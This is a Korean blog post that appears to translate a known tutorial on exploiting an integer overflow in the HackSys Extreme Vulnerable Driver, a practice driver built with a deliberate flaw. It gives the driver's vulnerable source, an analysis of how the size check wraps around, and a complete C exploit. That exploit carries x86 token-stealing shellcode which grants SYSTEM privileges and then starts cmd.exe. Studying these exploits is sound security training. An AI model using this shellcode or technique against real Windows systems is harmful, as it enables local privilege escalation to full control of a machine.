[Kernel Exploitation] Integer Overflow
- System/Windows
- 2017. 8. 27. 23:30
출처: https://www.fuzzysecurity.com/tutorials.html
본 포스팅은 fuzzysecurity Tutorials part 14 -> Integer Overflow를 분석 및 의역하여 작성하였습니다.
Sample Windows Driver code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.
Step 1. 취약점 분석
TriggerIntegerOverflow code를 살펴보면 SECURE한 경우와 else의 경우 전부 Size를 이용하는 필터링이 되어있습니다.
그런데 else 부분에서 Size + TerminatorSize가 KernelBuffer의 크기보다 클 경우 함수는 정상 종료됩니다.
Size의 자료형은 4bytes인 unsigned int형입니다. Size에 0xffffffff를 넣는다면 그 값은 unsigned int의 최대값이겠지만 이 수에 TerminatorSize를 더한다면 4bytes를 넘어가게 됩니다.
하지만 4bytes만 표현해야 하므로 넘어간 숫자 data까지 표현을 못하므로 실제 Size의 값은 굉장히 큰수지만 TerminatorSize를 더한 값은 KernelBuffer의 크기보다 작을 수 있습니다. 그리고 Size만큼 KernelBuffer에 덮어쓴다면 StackOverflow가 일어날 수 있습니다.
NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
ULONG Count = 0;
NTSTATUS Status = STATUS_SUCCESS;
ULONG BufferTerminator = 0xBAD0B0B0;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
SIZE_T TerminatorSize = sizeof(BufferTerminator);
PAGED_CODE();
__try {
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#else
DbgPrint("[+] Triggering Integer Overflow\n");
if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
// Integer Overflow
DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
Status = STATUS_INVALID_BUFFER_SIZE;
return Status;
}
#endif
while (Count < (Size / sizeof(ULONG))) {
if (*(PULONG)UserBuffer != BufferTerminator) {
KernelBuffer[Count] = *(PULONG)UserBuffer;
UserBuffer = (PULONG)UserBuffer + 1;
Count++;
}
// Size값에서 4를 나눈 값만큼 KernelBuffer에 계속 data를 삽입 Stack Overflow
else {
break;
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
사용자가 보낸 Size의 필터링 루틴입니다. eax에 Size값이 들어있고 esi는 위에서 0x800으로 초기화됩니다.
MagicValue와 비교하며 buffer에 계속 복사를 하는 루틴입니다. 입력한 Userbuffer size에 대한 필터링 없이 전부 data가 Kernelbuffer로 담기기 때문에 Integeroverflow 취약점으로 필터링만 우회한다면 StackOverflow로 EIP를 덮을 수 있습니다.
Step 2. Exploit
EIP를 덮을 때 까지의 offset을 구해보면 0x820 입니다. 그리고 EIP를 덮고난 뒤 복사를 멈춰야 하므로 EIP 뒤에 바로 MagicValue(0xBAD0B0B0)을 넣어줍니다.
#include <stdio.h> #include <Windows.h> #include <WinIoCtl.h> #include <TlHelp32.h> #include <conio.h> #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef NTSTATUS(WINAPI *PNtMapUserPhysicalPages)(PLONG BaseAddress, SIZE_T NumberOfPages, PULONG PageFrameNumbers); VOID TokenShellcode() { __asm { pushad; Save registers state ; Start of Token Stealing Stub xor eax, eax; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS : [0x124] mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current process _EPROCESS structure mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad; Restore registers state xor eax, eax add esp, 12 pop ebp ret 8 } } int main(int argc, CHAR* argv[]) { DWORD lpBytesReturned; LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver"; PUCHAR lpInBuffer = NULL; LONG magicvalue = 0xBAD0B0B0; HMODULE hNtdll = GetModuleHandle("ntdll.dll"); PULONG Stackbuffer = NULL; SIZE_T Buffersize = 0x830; HANDLE hDriver = CreateFile(lpDevicename, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Fail to get device handle: 0x%x\n", GetLastError()); } printf("[] hDriver: 0x%x\n", hDriver); Stackbuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Buffersize); if (!Stackbuffer) { printf("[!] HeapAlloc error\n"); return 0; } printf("[] Allcoate memory: 0x%x\n", Stackbuffer); memset(Stackbuffer, 0x41, Buffersize); *(PULONG)((PUCHAR)Stackbuffer + Buffersize - 8) = (ULONG)&TokenShellcode; *(PULONG)((PUCHAR)Stackbuffer + Buffersize - 4) = (ULONG)0xBAD0B0B0; DeviceIoControl(hDriver, HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW, (LPVOID)Stackbuffer, 0xffffffff, NULL, 0, &lpBytesReturned, NULL); printf("length: 0x%x\n", strlen((const char *)Stackbuffer)); system("cmd.exe"); CloseHandle(hDriver); return 0; }
'System > Windows' 카테고리의 다른 글
[Kernel Exploitation] Pool Overflow (0) | 2017.08.31 |
---|---|
[Kernel Exploitation] Use After Free (0) | 2017.08.29 |
[Kernel Exploitation] Uninitialized Stack Variable (0) | 2017.08.26 |
[Kernel Exploitation] NULL pointer Dereference (0) | 2017.08.25 |
[Kernel Exploitation] Write-What-Where (0) | 2017.08.24 |
이 글을 공유하기